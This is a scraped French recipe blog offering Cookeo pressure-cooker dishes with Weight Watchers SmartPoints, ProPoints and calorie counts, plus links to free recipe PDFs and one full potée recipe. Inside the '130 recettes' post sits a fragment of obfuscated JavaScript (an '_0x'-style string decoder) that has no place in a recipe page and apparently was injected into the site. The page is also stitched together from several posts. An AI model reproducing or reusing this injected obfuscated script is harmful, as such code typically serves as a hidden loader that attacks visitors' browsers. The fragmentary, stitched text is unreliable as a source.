Recettes cookeo chiffrage SP wwatchers

Recettes cookeo chiffrage SP wwatchers

Vous trouverez dans cet article un PDF pour pouvoir calculer les smartpoints pour vos recettes .Ce guide est le guide officiel de la méthode Weight Watchers et vous pouvez le télécharger gratuitement en cliquant sur l’image ou ICI

Vous pourrez également télécharger le  PDF des nouveaux aliments à zéro smartpoints .en cliquant sur l’image ou ICI

Pour 130 recettes cookeo weight watchers cliquez sur l’image ou ICI

 .

Vous trouverez également les recettes traditionnelles Weight Watchers adaptées au cookeo ces recettes ont été chiffrées et en smarpoints,Mais aussi en propoints (ancienne méthode ww) et en calories. en fonction du guide  alimentaire officiel la méthode Weight Watchers selon le programme liberté.

 Cliquez sur l’image  ou ICI  pour atteindre les recettes et télécharger 

Pour ceux qui ne connaissent pas le programme ww suivez ce lien 

NB / je ne suis pas un spécialiste de la méthode ww et je ne suis pas en mesure de calculer  vos smarpoints ,j’adapte seulement des recettes traditionnelles ww au cookeo .Pour ceux qui veulent des informations ou adhérez au programme rendez vous sur le site ww.

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40 recettes cookeo de salades

40 recettes cookeo de salades

40 recettes cookeo de salades

Vous trouverez ici 40 recettes cookeo de salades confectionnées par mes soins pour les beaux jours . Il suffit de cliquez sur le titre de la recette pour atteindre la recette . Bon appétit à toutes et à tous .

Vous pouvez aussi télécharger le PDF en cliquant ICI 

Salade 2 haricots thon tomates cookeo

Salade pâtes poulet fromage cookeo

Salade haricots verts oeufs au cookeo

Salade composée oeufs riz tomates cookeo

Salade pennes poulet basilic cookeo

Salade toute verte recette cookeo

Salade pommes de terre saumon cookeo

Salade 2 haricots thon au cookeo

Salade 2 haricots tomates cookeo

Salade composée riz tomates cookeo

Salade petits pois asperges poulet cookeo

Salade tomates haricots maïs cookeo

Salade haricots verts thon recette cookeo

Salade haricots verts poulet tomates cookeo

Salade pommes de terre tomates haricots

Salade dinde haricots beurre recette cookeo

Salade haricots verts pommes de terre

Salade pommes de terre tomates feta cookeo

Salade courgettes dinde recette cookeo

Salade haricots verts sauce soja cookeo

Salade betteraves fromage brebis cookeo

Salade haricots verts saumon cookeo

Salade brocolis poireaux cookeo

Salade courgettes chèvre basilic cookeo

Salade poulet petit pois radis au cookeo

Salade pommes de terre maison cookeo

Salade composée riz poulet recette cookeo

Salade farfalles 2 tomates cookeo

Salade courgettes feta weight watchers

Salade riz thon recette cookeo ou sans

Salade piémontaise légère recette cookeo ou sans

Salade asperges riz Boursin recette cookeo

Salade 4 graines weight watchers cookeo

Salade poulet poivrons tomates préparation cookeo

Salade tomates lentilles recette cookeo

Salade moules betteraves cookeo weight watchers

Salade haricots verts champignons cookeo

Salade composée macédoine recette cookeo

Salade chou fleur recette cookeo

Salade de pâtes multicolores recette cookeo

Salade macédoine express recette cookeo

Salade lentilles lardons recette cookeo

Salade haricots verts maquereaux recette cookeo

Salade poireaux vinaigrette recette cookeo

Salade composée riz saumon recette cookeo

Salade composée mayonnaise recette cookeo

Salade pommes de terre grecque recette cookeo

Salade riz fonds d’artichauts recette cookeo

Salade lentilles poulet recette cookeo

Salade lentilles pommes de terre recette cookeo

Salade torsades surimi recette cookeo

Salade lentilles avocat recette cookeo

 

Salade torsades multicolores recette cookeo

Salade pommes de terre cornichons recette cookeo

Salade riz truite fumée recette cookeo

Salade pommes de terre carottes cookeo

Salade composée riz dinde recette cookeo

Salade presque niçoise recette cookeo

Salade chou fleur oeufs recette cookeo

Salade macédoine au thon recette cookeo

Salade thon pommes de terre recette cookeo

Salade poireaux oeufs recette cookeo

Salade haricots blancs thon cookeo

Salade lentilles jambon recette cookeo

Blé à la grecque recette cookeo

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130 Recettes cookeo weight watchers Nouveau

130 Recettes cookeo weight watchers 

130 Recettes cookeo weight watchers 

Pour cette rentrée  voici un PDF gratuit de 130 recettes cookeo weight watchers chiffré en SP selon le nouveau programme Liberté weight watchers . Vous pouvez téléchargez le PDF en cliquant sur les images.Les recettes sont aussi chiffrées en PP et calories.


function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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60 recettes cookeo weight watchers avec liens

60 recettes cookeo weight watchers avec liens

60 recettes cookeo weight watchers avec liens




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Pour faciliter vos recherches de recettes cookeo weight watchers sur mes blogs voici 60 recettes . Il suffit de cliquer sur le titre de la recette pour atteindre la recette.

Blanquette poireaux weight watchers cookeo

Blanquette de dinde

Bolognaise saumon weight watchers cookeo (ou sans )

Boeuf Bourguignon cookeo weight watchers

Boulgour viande hachée style weight watchers cookeo

Cluchili weight watchers cookeo

Civet lotte

Coquillettes sauce poireaux

Côtes de porc cidre

Courgettes farcies

Courgettes bolognaise

Couscous légumes weight watchers recette cookeo

Couscous épices douces weight watchers cookeo

Crevettes surimi

Endives jambon bière weight watchers cookeo

Emincés poulet

Escalopes poulet brocolis curry weight watchers adaptable cookeo




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Filet mignon moutarde cookeo weight watchers

Filet mignon Boursin

Flan poireaux fromage weight watchers au cookeo

Fausse marmitte espagnole

Gâteau pâtes weight watchers cookeo

Gratin blé tomates weight watchers recette cookeo

Gratin fusillis poulet cookeo weight watchers

Goulash

Hachis indien weight watchers recette cookeo

Haricots verts carbonara

Lentilles chorizo weight watchers cookeo

Liberté weight watchers le nouveau programme 2017

Liberté weight watchers PDF GRATUIT nouveau programme 2017

Noix Saint Jacques weight watchers express cookeo ou sans

 

Oeufs brouillés thon cookeo weight watchers

Paêlla

Pâtes au basilic weight watchers adaptée au cookeo

Pilons poulet

Pommes de terre tomates weight watchers cookeo

Porc moutarde

Poulet basquaise




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Poulet cola

Poulet pois chiches curry weight watchers adapté cookeo

Poulet canja weight watchers au cookeo

Ragoût crevettes weight watchers cookeo

Ratatouille piment Espelette weight watchers au cookeo

Risotto jambon poireaux

Rôti pommes de terre cidre

Salade courgettes feta cookeo weight watchers

Salade 4 graines weight watchers cookeo

Salade moules betteraves cookeo weight watchers

Spaghettis asperges

Spaghettis carbonara weight watchers cookeo

Spaghettis thon

 

Sauce barbecue weight watchers recette cookeo

Sauce béchamel weight watchers

Sauce blanche weight watchers cookeo

Sauce tomates express style weight watchers cookeo

Soupe de carottes au gingembre weight watchers adaptée cookeo

Steak porc vin blanc

Tartiflette weight watchers recette cookeo
Tomates farcies cookeo style weight watchers

Tomates farcies champignons

Tomates farcies

500 recettes weight watchers PDF gratuit

 





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Maigrir sans régime : l’ebook

Maigrir sans régime
CLIQUEZ IICI POUR TELECHARGER GRATUITEMENT

Maigrir sans régime

Maigrir sans régime est-ce vraiment possible ? Comment peut-on atteindre une perte de poids sans avoir recours à des régimes restrictifs ou draconiens ? Ce petit ebook que j’ai écrit vous présente la méthode que j’utilise quand j’ai pris du poids et que la côte d’alerte est atteinte. Attention cette méthode n’est pas une méthode révolutionnaire. Il s’agit tout simplement de rééquilibrer notre alimentation et de pratiquer des activités physiques et sportives.

Vous trouverez dans cet ebook des exemples de séances qui vont vous permettent de perdre du poids.  

Cet ebook est en vente sur Amazon mais il est gratuit pendant 2 jours alors n’hésitez à cliquer sur l’image pour le télécharger.





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Recettes cookeo minceur vol 11

Recettes cookeo minceur vol 11




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Recettes cookeo minceur vol 11

Voici le 11è volume , de recettes cookeo minceur .

Ces recettes sont chiffrées en Calories mais aussi en Smartpoints (programme liberté) et propoints  de la méthode weight watchers

Pour téléchargez le fichier PDF gratuitement cliquez SUR L’IMAGE ou ICI

 SOMMAIRE

Artichauts Moulinex 225 CALORIES 5PP 2SP.. 

Blanquette de saumon coco 380 CALORIES 8 PP 2 SP.. 

Boulgour à la tomate 360 CALORIES 7 PP 6 SP.. 

Bouillon de légumes 75 CALORIES 2 PP 1 SP.. 

Carottes aux oignons  80 CALORIES 2 PP 2 SP.. 

Carottes glacées 120 CALORIES 3 PP 4 SP..

Calamars à la tomate 260 CALORIES 6 PP 2 SP.. 

Champignons bourguignonne 110 CALORIES  3PP 2 SP.. 

Citrouille à l’orange 195 CALORIES 5 PP 4 SP.. 

Colin aux petites crevettes 190 CALORIES 4 PP 2 SP.. 

Côtes de porc tomates 230 CALORIES 5 PP 5 SP..

Encornets à la tomate 230 calories 5 PP 3 SP.. 

Filet mignon miel 310 CALORIES 8 PP 9 SP.. 

Filet mignon tomates 150 CALORIES 3 PP 4 SP.. 

Flan courgettes 130 CALORIES 3 PP 4 SP.. 

Haricots verts plats à la tomate 65 CALORIES 1 PP 0 SP.. 4

Harira aux légumes 160 CALORIES 3 PP 1 SP.. 

Potée chou vert sauté de porc 285 CALORIES 6 PP 6 SP.. 

Soupe potiron 180 CALORIES 3 PP 3 SP..

Steaks hachés haricots verts 266 CALORIES 8 PP 13 SP.. 





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Potée chou vert sauté de porc recette cookeo

Potée chou vert sauté de porc recette cookeo

285 CALORIES 6 PP 6 SP

Ingrédients pour 4 personnes

500 g de chou vert

400 g de sauté de porc

400 g de pommes de terre

400 g de carottes

1 oignon

2 cuillères à soupe d’huile d’olive

Sel

Poivre

1 cube de bouillon de bœuf

400 ml d’eau

100 ml de vin blanc



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Préparation

Effeuillez le chou ,lavez les feuilles et coupez les .

Epluchez les pommes de terre ,lavez les et coupez les en morceaux.               

Coupez l’oignon en morceaux

Dégraissez les morceaux de sauté de porc si nécessaire.

Epluchez et coupez les carottes en morceaux .

Versez l’huile dans la cuve ,quand l’huile est chaude faites revenir les sautés de porc.

Au bout de 2 à 3 mn ajoutez les morceaux d’oignons . Faites dorer 2 mn .

Ajoutez les morceaux de pommes de terre , les morceaux de carottes, les feuilles de chou.

Versez un bouillon composé de 400 ml d’eau , 100 ml de vin blanc et un cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 8 mn .

Servez chaud .





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});

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200 recettes cookeo minceur vol 1 à 10

200 recettes cookeo minceur vol 1 à 10

Vous trouverez dans cet article les 10 premiers volume de recettes cookeo minceur déjà publiés sur mon blog. 

Il s’agit de vous facilitez la tâche pour retrouvez rapidement ces recettes

Pour pouvoir téléchargez et atteindre les PDF gratuits il suffit de cliquez sur les images . Chaque image vous renvoit à un PDF de 20 recettes minceur cookeo.

D’autres PDF de recettes cookeo minceur sont en cours ,le volume 11  paraîtra bientôt.

Bonne navigation à toutes et à tous .

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20 recettes cookeo minceur vol 10

20 recettes cookeo minceur vol 10

 

20 recettes cookeo minceur vol 10

Voici le 10è volume , de recettes cookeo minceur .

Ces recettes sont chiffrées en Calories mais aussi en Smartpoints (programme liberté) et propoints  de la méthode 

weight watchers .

 

Pour téléchargez le fichier PDF gratuitement cliquez SUR L’IMAGE 

Aiguillettes poulet aux légumes 270 CALORIES 5 PP 4 SPX.

Blanquette de volaille express (Moulinex)160 CALORIES 3 PP 1 SP.

Bouillon aux lettres 70 CALORIES 1 PP 1 SP. 

Cabillaud au lait de coco 260 CALORIES 5 PP 1SP. 

Champignons grecque 180 CALORIES 5 PP 4 SP. 

Escalope moutarde 232 CALORIES 5 PP 4 SP.. 

Flan au crabe 242 CALORIES 6 PP 4 SP. 

Moules marinières 135 CAL 3 PP 2 SP..

Oreillons abricots vapeur 292 CALORIES 7 PP 13 SP..

Poireaux lardons Boursin 210 CALORIES 5 PP 8 SP.. 

Potage légumes 125 CALORIES 2 PP 1 SP.

Poulet Boursin 202 CALORIES 4 PP 2 SP.. 

Poulet aux champignons 300 calories 6 PP 3 SP. 

Poulet aux poivrons 206 CALORIES 4 PP 1 SP. 

Riz et carottes à l’indienne 220 CALORIES 5PP 5 SP.. 

Salade petits pois radis 180 CALORIES 4 PP 3 SP.

Salade saumon haricots 230 CALORIES 6 PP 5 SP. 

Soupe de gambas 240 CALORIES 5 PP 3 SP. 

Soupe aux nouilles 110 CALORIES 2 PP 1 SP.

Terrine thon tomates 200 CALORIES 4 PP 3 SPx.






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20 recettes cookeo minceur vol 9

20 recettes cookeo minceur vol 9

Voici le 9è volume , de recettes cookeo minceur .Je pense que la série va continuer .

Ces recettes sont chiffrées en Calories mais aussi en Smartpoints (programme liberté) et propoints  de la méthode weight watchers .

Pour téléchargez le fichier PDF gratuitement cliquez SUR L’IMAGE 

Table des matières

Aiguillettes poulet à l’orange 285 CALORIES 6 PP 6 SP. 2

Ananas au sirop 310 CALORIES 6 PP 13 SP. 2

Blanquette de poulet 356 CALORIES 8PP 5SP. 3

Blanquette de porc  236 CAL 5PP 6 SP. 4

Calamars à la tomate 260 CALORIES 6 PP 2 SP. 5

Carottes Crème fraîche paprika 235 CALORIES 6 PP 4 SP. 5

Cuisses poulet moutarde CAL 290 6 PP 6 SP. 7

Cuisses poulet haricots verts 215 CALORIES 5 PP 4 SP. 7

Gratin courgettes 175 CALORIES 5 PP 6 SP. 10

Gratin poireaux jambon carotte 240 CALORIES 5 PP 5 SP.. 11

Longe de porc au curry 210 CALORIES 4 PP 5 SP. 13

Oeufs brouillés thon 185 CALORIES 4 PP 4 SP.. 14

Macaronis vaches qui rit 180 CALORIES 4 PP 3 SP.. 16

Minestrone poireaux 140 CALORIES 3 PP 3 SP.. 16

One pot pasta poulet tomates 280 CALORIES 5 PP 3 SP. 19

Potée chou côtes de porc  260 CALORIES 5 PP 5 SP.. 20

Porc citron 260 calories 6 pp 7 SP.. 22

Salsifis tomate 150 CALORIES 4 PP 2 SP. 23

Soupe jambon cru. 25





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20 recettes cookeo minceur vol 8

20 recettes cookeo minceur vol 8

 

Voici le 8è volume , de recettes cookeo minceur .Je pense que la série va continuer .

Ces recettes sont chiffrées en Calories mais aussi en Smartpoints (programme liberté) et propoints  de la méthode weight watchers .

Pour téléchargez le fichier PDF gratuitement cliquez SUR L’IMAGE 

 

Boeuf haché méditéranéen  215 CALORIES 5 PP 3 SP.. 2

Carottes Crème fraîche paprika 235 CALORIES 6 PP 4 SP.. 4

Champignons bourguignonne 110 3PP 2 SP.. 5

Crevettes curry coco 180 CALORIES 4 PP 3SP.. 6

Escalopes dinde Stroganoff 300 CALORIES 7 PP 5 SP.. 7

Filet mignon Boursin CALORIES 6 PP 6 SP.. 9

Escalope de poulet haricots verts 255 CALORIES 5 PP 3 SP.. 11

Fondue poireaux maison 80 CALORIES 2 PP 1 SP.. 12

Gratin fusillis poulet 200 CALORIES 4 PP 5 SP.. 13

Gratin carottes pommes de terre330 CALORIES 7 PP 7 SP.. 14

Gratin spaghettis jambon 260 CALORIES 6 PP 7 SP.. 16

Haricots beurre champignons persillade 100 CALORIES 2 PP 2 SP.. 17

Moules marinières 135 CALORIES 3 PP 2SP.. 20

Pâtes crème fraîche 150 CALORIES 3 PP 5 SP.. 22

Riz aux 3 légumes 180 CALORIES 4 PP 4 SP.. 23

Riz jambon poireaux 215 CALORIES 5 PP 7 SP.. 24

Rôti porc froid préparation 345 CALORIES 8 PP 10 SP.. 25

Salade riz asperges Boursin 165 CALORIES  4 PP 4 SP.. 26

Soupe pommes de terre carottes185 CALORIES 4 PP 3 SP.. 27

Soupe tomates pommes de terre 120 CALORIES    2 PP   3 SP.. 28

 

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20 recettes minceur cookeo vol7

20 recettes minceur cookeo vol7

Voici le 7è volume , de recettes cookeo minceur .Je pense que la série va continuer .

Ces recettes sont chiffrées en Calories mais aussi en Smartpoints (programme liberté) et propoints  de la méthode weight watchers .

Pour téléchargez le fichier PDF gratuitement cliquez SUR L’IMAGE 

Boulettes légumes 290 CALORIES 7 PP 6 SP.. 4

Compote pommes fraises 120 CALORIES 2 PP 2 SP.. 6

Côtes de porc haricots verts235 CALORIES 5 PP 5 SP.. 7

Courgettes chorizo 175 CALORIES 4 PP 3 SP.. 8

Couscous légumes weight watchers 100 CALORIES 2 PP 2 SP.. 8

Crème dessert minute  201 CALORIES   7 SP 4 PP.. 10

Escalope de poulet basquaise245 CALORIES 5 PP 5 SP.. 12

Fausse marmite espagnole ww 9 PP 4 SP.. 13

Gâteau pâtes 323 CALORIES 8 PP 10 SP.. 15

Gnocchis tomate 290 6 PP 8 SP.. 16

Marmite espagnole w watchers365 CALORIES 9PP 7 SP.. 17

Poulet basquaise 200 CALORIES 4 PP 2 SP.. 18

Poulet au yaourt 290 CALORIES 6 PP 7 SP.. 19

Ratatouille piment Espelette 215 CAL 5 PP 3 SP.. 20

Sauce tomate express 50 calories 1 PP 0 SP.. 21

Risotto crevettes curry tomates 190 CALORIES 3 PP 4 SP.. 22

Salade lentilles tomates 265 CALORIES 6 PP 5 SP.. 23

Salade poireaux Crème fraîche 175 CALORIES 4 PP 2 SP.. 24

Spaghettis forestiers 220 CALORIES 5 PP 9 SP.. 25

Soupe de poires au sirop d’agave 200 CALORIES 3 PP 3 SP.. 26

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Recettes minceur cookeo vol 6

Recettes minceur cookeo vol 6

weight watchers .

Pour téléchargez le fichier PDF gratuitement cliquez SUR L’IMAGE 

Boulettes bœuf Bourguignonnes 285 CALORIES 7 PP 8 SP.. 3

Courgettes farcies 155 CALORIES 3 PP 3 SP.. 5

Compote pommes orange 165 CALORIES 3 PP 2 SP.. 7

Compote pommes poires 170 CALORIES 3 PP 2 SP.. 8

Coulis aux fruits rouges  110 CALORIES 2 PP 3 SP.. 9

Crème dessert légère à la vanille 232 Calories 5 PP 10 SP.. 9

Emincés de poulet à la tomate ww 250 5 PP  3 SP.. 10

Endives jambon bière 270 CALORIES  5 PP   4 SP.. 12

Filet mignon tomates 150 CALORIES 3 PP 4 SP.. 13

Fondue de poireaux au piment d’Espelette 130 CALORIES 3 PP 2 SP.. 14

Lentilles chorizo 415 CALORIES 9 PP 9 SP.. 15

Pilons de poulet au riz 267 6 PP 5 SP.. 16

Porc moutarde  200 CALORIES 6 PP 8 SP.. 17

Poulet au citron 265 CALORIES 5 PP 5 SP.. 18

Poulet au soja 242 CALORIES 5 PP 4 SP.. 20

Riz poulet champignons 252 CALORIES 6 PP 6 SP.. 21

Salade moules betteraves 230 CALORIES 6 PP 5 SP. 22

Sauce barbecue 75 CALORIES 2PP 2 SP.. 23

Spaghettis Poulet citron 260 CALORIES 5 PP 9 SP.. 24

Saumon champignons de Paris 190 CALORIES 5 PP 5 SP.. 27

Soupe carottes pommes de terre poireaux 135 CALORIES 3 PP 2 SP.. 28

 

 

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20 recettes minceur cookeo vol 5

20 recettes minceur cookeo vol 5

Voici le  5è volume d’une série de 7 (peut être plus ) de recettes cookeo minceur .

Ces recettes sont chiffrées en Calories mais aussi en Smartpoints (programme liberté) et propoints  de la méthode weight watchers .

Pour téléchargez le fichier PDF gratuitement cliquez SUR L’IMAGE 

Bœuf sauté aux oignons 282 CALORIES 8 PP 9 SP.. 

Coquillettes sauce poireaux weight watchers 285 6PP  7 SP..

Compote pommes pêches 185 CALORIES 4 PP 4 SP..

Côtes de porc tomates 267 calories 6 PP 10 SP.. 8

Couscous épices douces 270 CALORIES 5 PP 5 SP.. 

Crevettes surimi 190 3 PP  3 SP.. 

Curry de légumes 250 CALORIES 5 PP 4 SP.. 

Escalope de dinde brocolis 200 CALORIES 4 PP3 SP.. 

Filet mignon au Boursin 250 CALORIES 6PP  6 SP..

Flan thon tomates 150 CALORIES 3 PP 6 SP. 

Goulash 8 PP 11 SP.. 

Poireaux moutarde aux Fruits de mer 275 CALORIES 6 PP 5 SP.. 

Pommes de terre tomates 215 calories 4 PP 5 SP.. 

Poulet au cola 180 CALORIES  4 PP 3 SP..

Rôti de porc pommes cidre 4 PP 9 SP.. 1

Riz carotte 200 CALORIES 5 PP 9 SP.. 

Saint Jacques aux poireaux 165 CALORIES 4 PP 4 SP.. 

Spaghettis asperges 170 CALORIES 3 PP 8 SP.. 

Spaghettis poulet tomate paprika 298 CALORIES 6 PP 10 SP.

Tomates farcies au champignons 189 CALORIES 4 PP 6 SP.. 

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